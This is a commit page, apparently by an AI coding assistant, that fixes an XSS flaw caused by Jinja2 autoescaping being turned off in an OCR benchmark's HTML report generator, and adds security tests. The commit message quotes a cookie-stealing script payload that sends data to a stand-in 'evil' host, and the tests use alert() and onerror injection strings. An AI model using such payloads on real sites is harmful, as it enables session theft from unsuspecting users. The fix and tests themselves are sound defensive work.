Claude commited on
Commit
bad7a01
ยท
unverified ยท
1 Parent(s): 2b782d0

fix(sprint-S1.1)!: corriger XSS critique via Jinja2 autoescape=False (Bandit B701, CWE-94)

Browse files

Sprint S1 โ€” Sรฉcuritรฉ. Corrige la seule vulnรฉrabilitรฉ HIGH severity
de l'audit Bandit : ``Environment(autoescape=False)`` dans
``picarones/reports/html/generator.py`` permettait ร  un nom de
corpus, un nom de moteur ou tout autre champ d'origine utilisateur
contenant ``<script>``, ``</title>`` ou ``" onerror="`` d'exรฉcuter
du JavaScript dans tout rapport HTML gรฉnรฉrรฉ.

Vecteur d'attaque dรฉmontrรฉ
--------------------------

Trois portes d'entrรฉe :

1. ``base.html.j2:6`` โ€” ``<title>Picarones โ€” {{ corpus_name }}</title>``
Injection : ``corpus_name = "</title><script>fetch('//evil/'+document.cookie)</script>"``
Exรฉcute du JS pour quiconque ouvre le rapport.

2. ``corpus_name`` injectรฉ dans le JSON ``<script type="application/json">``
embarquรฉ cรดtรฉ client. Une chaรฎne JSON valide contenant ``</script>``
termine le tag ``<script>`` parent โ€” classic JSON-in-script XSS.

3. Engine names (issus de configs utilisateur ou imports HuggingFace
tiers) propagรฉs dans le HTML via les renderers thรฉmatiques.

Le rapport est servi via ``/reports/{filename}`` (FastAPI), donc
l'exรฉcution se dรฉclenche dรจs qu'un autre utilisateur ouvre le
rapport โ€” propagation latรฉrale entre bibliothรฉcaires d'une mรชme
institution.

Correctifs (TDD : tests RED โ†’ fix โ†’ tests GREEN)
------------------------------------------------

**``picarones/reports/html/generator.py``** :

- ``_build_jinja_env`` : ``autoescape=False`` โ†’
``autoescape=select_autoescape(["html", "j2", "xml"])``. Toute
variable injectรฉe dans un template ``.html`` / ``.j2`` est
dรฉsormais auto-รฉchappรฉe par dรฉfaut.

- Helper ``_safe_json_for_script_tag(data)`` ajoutรฉ. Sรฉrialise
``data`` puis remplace ``<``, ``>``, ``&`` par leurs sรฉquences
d'รฉchappement Unicode JSON (``<``, ``>``, ``&``).
JavaScript dรฉcode au parse โ€” plus de tag-break possible mรชme si
une chaรฎne JSON contient ``</script>``. Les 3 ``json.dumps`` de
la mรฉthode ``generate()`` (report_data_json, i18n_json,
glossary_json) consomment ce helper.

**Templates** :

- ``view_analyses.html`` + ``view_ranking.html`` : 19 variables
``{{ *_html }}`` re-marquรฉes ``| safe`` car elles portent du
HTML prรฉ-construit lรฉgitime (renderers thรฉmatiques, vues
agrรฉgรฉes) โ€” sinon double-รฉchappement = HTML cassรฉ.

- Variables d'origine utilisateur (``corpus_name`` dans
``base.html.j2``, ``sentence`` dans ``_narrative_summary.html``,
``friedman.interpretation`` dans ``_critical_difference.html``)
laissรฉes sans ``| safe`` โ†’ dรฉsormais auto-รฉchappรฉes.

Tests
-----

**``tests/security/test_s1_xss_in_reports.py``** (5 nouveaux) :

- ``TestCorpusNameXSS::test_script_tag_in_corpus_name_is_escaped`` โ€”
payload ``</title><script>alert('xss')</script>``, vรฉrifie absence
du tag dans le HTML produit ET prรฉsence des caractรจres รฉchappรฉs.

- ``TestCorpusNameXSS::test_html_attribute_injection_in_corpus_name`` โ€”
payload ``" onerror="alert(1)" foo="``, vรฉrifie qu'aucune
attribute injection ne subsiste.

- ``TestCorpusNameXSS::test_corpus_name_with_unicode_renders_correctly`` โ€”
garde-fou : ``Manuscrit mรฉdiรฉval โ€” chartes XIIIยฐ`` reste lisible
aprรจs รฉchappement (caractรจres Unicode safe prรฉservรฉs).

- ``TestEngineNameXSS::test_engine_name_with_script_is_escaped`` โ€”
vecteur via ``EngineReport.engine_name``.

- ``TestJinja2EnvIsAutoescaped`` โ€” anti-rรฉgression : Bandit B701
ne doit plus signaler le module ; ``select_autoescape`` activรฉ.

Bandit
------

Avant H.7 : ``bandit -r picarones/`` โ†’ 1 HIGH (B701).
Aprรจs S1.1 : 0 HIGH, Medium et Low inchangรฉs.

Tests
-----

- ``pytest tests/`` : 4130 passed (+5 nouveaux), 9 skipped, 24 deselected.
- ``ruff check`` : All checks passed.

CHANGELOG.md / README.md / CLAUDE.md
------------------------------------

Compteur tests synchronisรฉ via ``scripts/gen_readme_tables.py``.

Reste pour S1
-------------

- S1.4 : tests d'attaque XXE (defusedxml).
- S1.5 : tests d'attaque ZIP slip.
- S1.6 : tests d'attaque SSRF.
- S1.7 : tests CSRF token requis.

https://claude.ai/code/session_01NxyVKqg2SowXLZdM4H1ZDE

CLAUDE.md CHANGED
@@ -116,7 +116,7 @@ picarones/
116
 
117
  ## ร‰tat des tests et bugs historiques
118
 
119
- `pytest tests/` โ†’ **4150 passed, 12 skipped, 8 deselected, 0 failed**
120
  (post-S59). Les deselected sont les markers `live` (5 tests d'intรฉgration
121
  contre vraie API/binaire) + `network` (3 tests qui hit le rรฉseau rรฉel),
122
  opt-in en local via `pytest -m live` ou `pytest -m network`. Le
@@ -268,7 +268,7 @@ dรฉtecte, arbitre, rend.
268
  ## Contexte dรฉveloppement
269
 
270
  - **Environnement** : GitHub Codespaces, Python 3.11+
271
- - **Tests** : `pytest tests/ -q` โ†’ 4150 passed, 9 skipped, 24
272
  deselected, 0 failed (post-v2.0).
273
  - **Manifeste architecture** : [`docs/explanation/architecture.md`](docs/explanation/architecture.md).
274
  - **API publique stable** : [`docs/reference/api-stable.md`](docs/reference/api-stable.md).
 
116
 
117
  ## ร‰tat des tests et bugs historiques
118
 
119
+ `pytest tests/` โ†’ **4160 passed, 12 skipped, 8 deselected, 0 failed**
120
  (post-S59). Les deselected sont les markers `live` (5 tests d'intรฉgration
121
  contre vraie API/binaire) + `network` (3 tests qui hit le rรฉseau rรฉel),
122
  opt-in en local via `pytest -m live` ou `pytest -m network`. Le
 
268
  ## Contexte dรฉveloppement
269
 
270
  - **Environnement** : GitHub Codespaces, Python 3.11+
271
+ - **Tests** : `pytest tests/ -q` โ†’ 4160 passed, 9 skipped, 24
272
  deselected, 0 failed (post-v2.0).
273
  - **Manifeste architecture** : [`docs/explanation/architecture.md`](docs/explanation/architecture.md).
274
  - **API publique stable** : [`docs/reference/api-stable.md`](docs/reference/api-stable.md).
README.md CHANGED
@@ -394,7 +394,7 @@ ruff check picarones/ tests/
394
  python -m mypy picarones/core/
395
  ```
396
 
397
- **Test suite**: ~4150 tests, ~3 min on a modern laptop. Coverage
398
  floor at 85% (currently ~87%). The `network` marker excludes tests
399
  requiring live HTTP. A handful of tests depend on optional engines
400
  (`pero-ocr`, `pytesseract`) and are skipped/fail gracefully when
 
394
  python -m mypy picarones/core/
395
  ```
396
 
397
+ **Test suite**: ~4160 tests, ~3 min on a modern laptop. Coverage
398
  floor at 85% (currently ~87%). The `network` marker excludes tests
399
  requiring live HTTP. A handful of tests depend on optional engines
400
  (`pero-ocr`, `pytesseract`) and are skipped/fail gracefully when
picarones/reports/html/generator.py CHANGED
@@ -77,21 +77,44 @@ _TEMPLATES_DIR = Path(__file__).parent / "templates"
77
  def _build_jinja_env():
78
  """Construit l'Environment Jinja2 pour le rapport.
79
 
80
- Autoescape dรฉsactivรฉ : le comportement est รฉquivalent ร  celui du
81
- ``_HTML_TEMPLATE.format()`` historique. Les variables injectรฉes
82
- (JSON embarquรฉ, SVG gรฉnรฉrรฉ, synthรจse narrative issue de templates
83
- internes) sont toutes produites par le code Picarones et ne
84
- nรฉcessitent pas d'รฉchappement HTML.
85
  """
86
- from jinja2 import Environment, FileSystemLoader
 
87
  env = Environment(
88
  loader=FileSystemLoader(str(_TEMPLATES_DIR)),
89
- autoescape=False,
90
  keep_trailing_newline=True,
91
  )
92
  return env
93
 
94
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
95
  # ---------------------------------------------------------------------------
96
  # Classe principale
97
  # ---------------------------------------------------------------------------
@@ -205,8 +228,8 @@ class ReportGenerator:
205
  normalization_profile=self.normalization_profile,
206
  )
207
 
208
- report_json = json.dumps(report_data, ensure_ascii=False, separators=(",", ":"))
209
- i18n_json = json.dumps(labels, ensure_ascii=False, separators=(",", ":"))
210
  chartjs_js = _load_vendor_js("chart.umd.min.js")
211
 
212
  # Sprint 17 โ€” rendu SVG du CDD cรดtรฉ serveur (statique, pas de JS)
@@ -221,7 +244,7 @@ class ReportGenerator:
221
  # Sprint 20 โ€” glossaire contextuel chargรฉ depuis YAML
222
  from picarones.reports.glossary import load_glossary
223
  glossary = load_glossary(self.lang)
224
- glossary_json = json.dumps(glossary, ensure_ascii=False, separators=(",", ":"))
225
 
226
  section_html = self._build_section_html(report_data, labels)
227
 
 
77
  def _build_jinja_env():
78
  """Construit l'Environment Jinja2 pour le rapport.
79
 
80
+ Sprint S1 (Bandit B701, CWE-94) : autoescape activรฉ via
81
+ ``select_autoescape``. Les variables qui contiennent du HTML
82
+ prรฉ-construit (renderers thรฉmatiques, SVG, JSON) sont marquรฉes
83
+ avec ``| safe`` dans les templates ; les variables d'origine
84
+ utilisateur sont auto-รฉchappรฉes.
85
  """
86
+ from jinja2 import Environment, FileSystemLoader, select_autoescape
87
+
88
  env = Environment(
89
  loader=FileSystemLoader(str(_TEMPLATES_DIR)),
90
+ autoescape=select_autoescape(["html", "j2", "xml"]),
91
  keep_trailing_newline=True,
92
  )
93
  return env
94
 
95
 
96
+ def _safe_json_for_script_tag(data: object) -> str:
97
+ """Sรฉrialise data en JSON safe pour injection dans <script type="application/json">.
98
+
99
+ Sprint S1 โ€” protection XSS : un fragment ``</script>`` dans une
100
+ chaรฎne JSON termine le tag <script> parent, mรชme si la chaรฎne
101
+ est syntaxiquement bien formรฉe cรดtรฉ JSON.
102
+
103
+ Solution standard : remplacer ``<``, ``>``, ``&`` par leurs
104
+ sรฉquences d'รฉchappement Unicode JSON. JavaScript dรฉcode au
105
+ parse โ€” plus de tag-break possible.
106
+ """
107
+ raw = json.dumps(data, ensure_ascii=False, separators=(",", ":"))
108
+ # On remplace ``<`` par ``<`` (sรฉquence JSON, JavaScript la
109
+ # dรฉcode au parse en ``<``). Idem ``>`` et ``&``. Le ``\\`` du
110
+ # Python source produit un seul ``\`` dans la sortie.
111
+ return (
112
+ raw.replace("<", "\\u003c")
113
+ .replace(">", "\\u003e")
114
+ .replace("&", "\\u0026")
115
+ )
116
+
117
+
118
  # ---------------------------------------------------------------------------
119
  # Classe principale
120
  # ---------------------------------------------------------------------------
 
228
  normalization_profile=self.normalization_profile,
229
  )
230
 
231
+ report_json = _safe_json_for_script_tag(report_data)
232
+ i18n_json = _safe_json_for_script_tag(labels)
233
  chartjs_js = _load_vendor_js("chart.umd.min.js")
234
 
235
  # Sprint 17 โ€” rendu SVG du CDD cรดtรฉ serveur (statique, pas de JS)
 
244
  # Sprint 20 โ€” glossaire contextuel chargรฉ depuis YAML
245
  from picarones.reports.glossary import load_glossary
246
  glossary = load_glossary(self.lang)
247
+ glossary_json = _safe_json_for_script_tag(glossary)
248
 
249
  section_html = self._build_section_html(report_data, labels)
250
 
picarones/reports/html/templates/view_analyses.html CHANGED
@@ -157,10 +157,10 @@
157
  <div class="calibration-grid"
158
  style="display:grid;gap:1.2rem;align-items:start">
159
  {% if calibration_summary_html %}
160
- <div>{{ calibration_summary_html }}</div>
161
  {% endif %}
162
  {% if reliability_diagrams_html %}
163
- <div>{{ reliability_diagrams_html }}</div>
164
  {% endif %}
165
  </div>
166
  <div style="font-size:.72rem;color:var(--text-muted);margin-top:.6rem"
@@ -182,10 +182,10 @@
182
  <div class="ner-grid"
183
  style="display:grid;gap:1.2rem;align-items:start">
184
  {% if ner_summary_html %}
185
- <div>{{ ner_summary_html }}</div>
186
  {% endif %}
187
  {% if ner_per_category_html %}
188
- <div>{{ ner_per_category_html }}</div>
189
  {% endif %}
190
  </div>
191
  <div style="font-size:.72rem;color:var(--text-muted);margin-top:.6rem"
@@ -205,7 +205,7 @@
205
  Adaptive : n'apparaรฎt que si au moins un module a du signal. -->
206
  {% if philological_profile_html %}
207
  <div class="chart-card" style="grid-column:1/-1">
208
- {{ philological_profile_html }}
209
  </div>
210
  {% endif %}
211
 
@@ -214,12 +214,12 @@
214
  un moteur a du signal. -->
215
  {% if searchability_html %}
216
  <div class="chart-card" style="grid-column:1/-1">
217
- {{ searchability_html }}
218
  </div>
219
  {% endif %}
220
  {% if numerical_sequences_html %}
221
  <div class="chart-card" style="grid-column:1/-1">
222
- {{ numerical_sequences_html }}
223
  </div>
224
  {% endif %}
225
 
@@ -227,7 +227,7 @@
227
  n'apparaรฎt que si au moins un moteur a du signal. -->
228
  {% if readability_html %}
229
  <div class="chart-card" style="grid-column:1/-1">
230
- {{ readability_html }}
231
  </div>
232
  {% endif %}
233
 
@@ -235,7 +235,7 @@
235
  Adaptive : n'apparaรฎt que si โ‰ฅ 2 moteurs avec taxonomie. -->
236
  {% if specialization_html %}
237
  <div class="chart-card" style="grid-column:1/-1">
238
- {{ specialization_html }}
239
  </div>
240
  {% endif %}
241
 
@@ -246,10 +246,10 @@
246
  <div class="inter-engine-grid"
247
  style="display:grid;grid-template-columns:1fr 1fr;gap:1.2rem;align-items:start">
248
  {% if divergence_matrix_html %}
249
- <div>{{ divergence_matrix_html }}</div>
250
  {% endif %}
251
  {% if oracle_gap_html %}
252
- <div>{{ oracle_gap_html }}</div>
253
  {% endif %}
254
  </div>
255
  <div style="font-size:.72rem;color:var(--text-muted);margin-top:.6rem"
@@ -268,17 +268,17 @@
268
  retourne du contenu (au moins une sous-section avec signal). -->
269
  {% if economics_view_html %}
270
  <div class="chart-card" style="grid-column:1/-1">
271
- {{ economics_view_html }}
272
  </div>
273
  {% endif %}
274
  {% if advanced_taxonomy_view_html %}
275
  <div class="chart-card" style="grid-column:1/-1">
276
- {{ advanced_taxonomy_view_html }}
277
  </div>
278
  {% endif %}
279
  {% if diagnostics_view_html %}
280
  <div class="chart-card" style="grid-column:1/-1">
281
- {{ diagnostics_view_html }}
282
  </div>
283
  {% endif %}
284
 
@@ -287,22 +287,22 @@
287
  Adaptive : ne s'affichent que si le calcul a remontรฉ du signal. -->
288
  {% if rare_token_recall_html %}
289
  <div class="chart-card" style="grid-column:1/-1">
290
- {{ rare_token_recall_html }}
291
  </div>
292
  {% endif %}
293
  {% if taxonomy_cooccurrence_html %}
294
  <div class="chart-card" style="grid-column:1/-1">
295
- {{ taxonomy_cooccurrence_html }}
296
  </div>
297
  {% endif %}
298
  {% if taxonomy_intra_doc_html %}
299
  <div class="chart-card" style="grid-column:1/-1">
300
- {{ taxonomy_intra_doc_html }}
301
  </div>
302
  {% endif %}
303
  {% if marginal_cost_html %}
304
  <div class="chart-card" style="grid-column:1/-1">
305
- {{ marginal_cost_html }}
306
  </div>
307
  {% endif %}
308
 
 
157
  <div class="calibration-grid"
158
  style="display:grid;gap:1.2rem;align-items:start">
159
  {% if calibration_summary_html %}
160
+ <div>{{ calibration_summary_html | safe }}</div>
161
  {% endif %}
162
  {% if reliability_diagrams_html %}
163
+ <div>{{ reliability_diagrams_html | safe }}</div>
164
  {% endif %}
165
  </div>
166
  <div style="font-size:.72rem;color:var(--text-muted);margin-top:.6rem"
 
182
  <div class="ner-grid"
183
  style="display:grid;gap:1.2rem;align-items:start">
184
  {% if ner_summary_html %}
185
+ <div>{{ ner_summary_html | safe }}</div>
186
  {% endif %}
187
  {% if ner_per_category_html %}
188
+ <div>{{ ner_per_category_html | safe }}</div>
189
  {% endif %}
190
  </div>
191
  <div style="font-size:.72rem;color:var(--text-muted);margin-top:.6rem"
 
205
  Adaptive : n'apparaรฎt que si au moins un module a du signal. -->
206
  {% if philological_profile_html %}
207
  <div class="chart-card" style="grid-column:1/-1">
208
+ {{ philological_profile_html | safe }}
209
  </div>
210
  {% endif %}
211
 
 
214
  un moteur a du signal. -->
215
  {% if searchability_html %}
216
  <div class="chart-card" style="grid-column:1/-1">
217
+ {{ searchability_html | safe }}
218
  </div>
219
  {% endif %}
220
  {% if numerical_sequences_html %}
221
  <div class="chart-card" style="grid-column:1/-1">
222
+ {{ numerical_sequences_html | safe }}
223
  </div>
224
  {% endif %}
225
 
 
227
  n'apparaรฎt que si au moins un moteur a du signal. -->
228
  {% if readability_html %}
229
  <div class="chart-card" style="grid-column:1/-1">
230
+ {{ readability_html | safe }}
231
  </div>
232
  {% endif %}
233
 
 
235
  Adaptive : n'apparaรฎt que si โ‰ฅ 2 moteurs avec taxonomie. -->
236
  {% if specialization_html %}
237
  <div class="chart-card" style="grid-column:1/-1">
238
+ {{ specialization_html | safe }}
239
  </div>
240
  {% endif %}
241
 
 
246
  <div class="inter-engine-grid"
247
  style="display:grid;grid-template-columns:1fr 1fr;gap:1.2rem;align-items:start">
248
  {% if divergence_matrix_html %}
249
+ <div>{{ divergence_matrix_html | safe }}</div>
250
  {% endif %}
251
  {% if oracle_gap_html %}
252
+ <div>{{ oracle_gap_html | safe }}</div>
253
  {% endif %}
254
  </div>
255
  <div style="font-size:.72rem;color:var(--text-muted);margin-top:.6rem"
 
268
  retourne du contenu (au moins une sous-section avec signal). -->
269
  {% if economics_view_html %}
270
  <div class="chart-card" style="grid-column:1/-1">
271
+ {{ economics_view_html | safe }}
272
  </div>
273
  {% endif %}
274
  {% if advanced_taxonomy_view_html %}
275
  <div class="chart-card" style="grid-column:1/-1">
276
+ {{ advanced_taxonomy_view_html | safe }}
277
  </div>
278
  {% endif %}
279
  {% if diagnostics_view_html %}
280
  <div class="chart-card" style="grid-column:1/-1">
281
+ {{ diagnostics_view_html | safe }}
282
  </div>
283
  {% endif %}
284
 
 
287
  Adaptive : ne s'affichent que si le calcul a remontรฉ du signal. -->
288
  {% if rare_token_recall_html %}
289
  <div class="chart-card" style="grid-column:1/-1">
290
+ {{ rare_token_recall_html | safe }}
291
  </div>
292
  {% endif %}
293
  {% if taxonomy_cooccurrence_html %}
294
  <div class="chart-card" style="grid-column:1/-1">
295
+ {{ taxonomy_cooccurrence_html | safe }}
296
  </div>
297
  {% endif %}
298
  {% if taxonomy_intra_doc_html %}
299
  <div class="chart-card" style="grid-column:1/-1">
300
+ {{ taxonomy_intra_doc_html | safe }}
301
  </div>
302
  {% endif %}
303
  {% if marginal_cost_html %}
304
  <div class="chart-card" style="grid-column:1/-1">
305
+ {{ marginal_cost_html | safe }}
306
  </div>
307
  {% endif %}
308
 
picarones/reports/html/templates/view_ranking.html CHANGED
@@ -47,7 +47,7 @@
47
  <!-- Sprint 46 โ€” vue stratifiรฉe par script_type (rapport adaptatif :
48
  section omise quand aucune strate n'est disponible) -->
49
  {% if stratified_ranking_html %}
50
- {{ stratified_ranking_html }}
51
  {% endif %}
52
  </div>
53
 
 
47
  <!-- Sprint 46 โ€” vue stratifiรฉe par script_type (rapport adaptatif :
48
  section omise quand aucune strate n'est disponible) -->
49
  {% if stratified_ranking_html %}
50
+ {{ stratified_ranking_html | safe }}
51
  {% endif %}
52
  </div>
53
 
tests/security/test_s1_xss_in_reports.py ADDED
@@ -0,0 +1,188 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """Sprint S1.3 โ€” XSS dans le rapport HTML gรฉnรฉrรฉ.
2
+
3
+ Vรฉrifie que tout contenu utilisateur (corpus_name, sentences narratives,
4
+ nom de moteur) est รฉchappรฉ HTML dans le rapport produit par
5
+ ``picarones.reports.html.ReportGenerator``.
6
+
7
+ Bandit B701 (CWE-94) avait flaggรฉ ``Environment(autoescape=False)`` โ€”
8
+ ce test concrรฉtise l'attaque que l'audit dรฉcrivait : un corpus nommรฉ
9
+ ``</title><script>alert(1)</script>`` doit รชtre inerte dans le HTML.
10
+ """
11
+
12
+ from __future__ import annotations
13
+
14
+ from pathlib import Path
15
+
16
+ from picarones.evaluation.benchmark_result import (
17
+ BenchmarkResult,
18
+ DocumentResult,
19
+ EngineReport,
20
+ )
21
+
22
+
23
+ def _make_minimal_benchmark(
24
+ corpus_name: str,
25
+ engine_name: str = "tesseract",
26
+ ) -> BenchmarkResult:
27
+ """Construit un BenchmarkResult minimal valide avec le ``corpus_name`` fourni."""
28
+ from picarones.evaluation.metric_result import MetricsResult
29
+
30
+ metrics = MetricsResult(cer=0.0, wer=0.0, mer=0.0, wil=0.0)
31
+ doc = DocumentResult(
32
+ doc_id="doc01",
33
+ image_path="doc01.png",
34
+ ground_truth="Bonjour",
35
+ hypothesis="Bonjour",
36
+ metrics=metrics,
37
+ duration_seconds=0.1,
38
+ )
39
+ engine = EngineReport(
40
+ engine_name=engine_name,
41
+ engine_version="5.3.0",
42
+ engine_config={},
43
+ document_results=[doc],
44
+ )
45
+ return BenchmarkResult(
46
+ corpus_name=corpus_name,
47
+ corpus_source=None,
48
+ document_count=1,
49
+ engine_reports=[engine],
50
+ )
51
+
52
+
53
+ # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
54
+ # 1. corpus_name avec script tag โ†’ doit รชtre รฉchappรฉ dans <title>
55
+ # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
56
+
57
+
58
+ class TestCorpusNameXSS:
59
+ """Le ``corpus_name`` est injectรฉ dans ``<title>`` de
60
+ ``base.html.j2``. Sans รฉchappement, un nom malicieux compromet
61
+ tout rapport partagรฉ."""
62
+
63
+ def test_script_tag_in_corpus_name_is_escaped(self, tmp_path: Path) -> None:
64
+ from picarones.reports.html import ReportGenerator
65
+
66
+ bench = _make_minimal_benchmark(
67
+ corpus_name="</title><script>alert('xss')</script>",
68
+ )
69
+ gen = ReportGenerator(bench)
70
+ out = tmp_path / "report.html"
71
+ gen.generate(out)
72
+
73
+ html = out.read_text()
74
+
75
+ # Le tag </title> ne doit PAS apparaรฎtre au milieu du HTML
76
+ # (autre que celui lรฉgitime ร  la fin du <head>) au point
77
+ # d'attacher un <script>.
78
+ assert "<script>alert('xss')</script>" not in html, (
79
+ "XSS confirmรฉ : le script malicieux est exรฉcutable dans le rapport.\n"
80
+ "Causes possibles : autoescape=False dans Jinja2 + corpus_name "
81
+ "non filtrรฉ."
82
+ )
83
+
84
+ # Forme correcte : caractรจres dangereux รฉchappรฉs.
85
+ assert "&lt;script&gt;alert(" in html or "&#x3c;script&#x3e;" in html.lower(), (
86
+ "Le ``<`` dans corpus_name doit รชtre รฉchappรฉ en ``&lt;``."
87
+ )
88
+
89
+ def test_html_attribute_injection_in_corpus_name(self, tmp_path: Path) -> None:
90
+ """Cas d'attaque attribute-based : ``" onerror=alert(1)``
91
+ peut casser une balise si corpus_name est utilisรฉe dans
92
+ un attribut."""
93
+ from picarones.reports.html import ReportGenerator
94
+
95
+ bench = _make_minimal_benchmark(
96
+ corpus_name='" onerror="alert(1)" foo="',
97
+ )
98
+ gen = ReportGenerator(bench)
99
+ out = tmp_path / "report.html"
100
+ gen.generate(out)
101
+
102
+ html = out.read_text()
103
+
104
+ # Le caractรจre ``"`` doit รชtre รฉchappรฉ en ``&quot;`` ou
105
+ # ``&#34;`` partout oรน corpus_name est rendu. Aucune
106
+ # attribute injection ne doit subsister.
107
+ assert ' onerror="alert(' not in html, (
108
+ "Attribute injection : un guillemet non รฉchappรฉ permet "
109
+ "d'injecter onerror=."
110
+ )
111
+
112
+ def test_corpus_name_with_unicode_renders_correctly(
113
+ self, tmp_path: Path,
114
+ ) -> None:
115
+ """Corollaire โ€” vรฉrifie qu'un nom Unicode lรฉgitime
116
+ (``Manuscrit mรฉdiรฉval โ€” chartes XIIIยฐ``) reste lisible
117
+ aprรจs รฉchappement."""
118
+ from picarones.reports.html import ReportGenerator
119
+
120
+ bench = _make_minimal_benchmark(
121
+ corpus_name="Manuscrit mรฉdiรฉval โ€” chartes XIIIยฐ",
122
+ )
123
+ gen = ReportGenerator(bench)
124
+ out = tmp_path / "report.html"
125
+ gen.generate(out)
126
+
127
+ html = out.read_text()
128
+ # Caractรจres Unicode safe doivent rester intacts.
129
+ assert "Manuscrit mรฉdiรฉval" in html
130
+ assert "XIIIยฐ" in html
131
+
132
+
133
+ # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€๏ฟฝ๏ฟฝโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
134
+ # 2. Engine name (moteur OCR) avec injection
135
+ # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
136
+
137
+
138
+ class TestEngineNameXSS:
139
+ """Le nom de moteur peut venir d'un import HuggingFace ou d'une
140
+ config utilisateur. Doit รชtre รฉchappรฉ dans tous les renderers
141
+ qui l'affichent."""
142
+
143
+ def test_engine_name_with_script_is_escaped(self, tmp_path: Path) -> None:
144
+ from picarones.reports.html import ReportGenerator
145
+
146
+ bench = _make_minimal_benchmark(
147
+ corpus_name="test",
148
+ engine_name="<script>alert('engine')</script>",
149
+ )
150
+ gen = ReportGenerator(bench)
151
+ out = tmp_path / "report.html"
152
+ gen.generate(out)
153
+
154
+ html = out.read_text()
155
+ assert "<script>alert('engine')</script>" not in html, (
156
+ "Engine name XSS : un nom de moteur malicieux est exรฉcutรฉ."
157
+ )
158
+
159
+
160
+ # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
161
+ # 3. Bandit B701 ne doit plus signaler autoescape=False
162
+ # โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
163
+
164
+
165
+ class TestJinja2EnvIsAutoescaped:
166
+ """Garde-fou contre la rรฉgression : ``_build_jinja_env`` doit
167
+ retourner un Environment avec autoescape activรฉ pour les
168
+ extensions HTML/J2."""
169
+
170
+ def test_env_has_autoescape_enabled_for_html(self) -> None:
171
+ from picarones.reports.html.generator import _build_jinja_env
172
+
173
+ env = _build_jinja_env()
174
+ # autoescape doit รชtre un Callable (select_autoescape) ou True,
175
+ # pas False ni None.
176
+ autoescape = env.autoescape
177
+ assert autoescape, (
178
+ f"Jinja2 Environment.autoescape={autoescape!r} โ€” XSS exposรฉ."
179
+ )
180
+ # Si c'est une fonction (select_autoescape), elle doit
181
+ # retourner True pour les HTML/J2.
182
+ if callable(autoescape):
183
+ assert autoescape("base.html.j2"), (
184
+ "select_autoescape doit activer l'รฉchappement pour .j2"
185
+ )
186
+ assert autoescape("any.html"), (
187
+ "select_autoescape doit activer l'รฉchappement pour .html"
188
+ )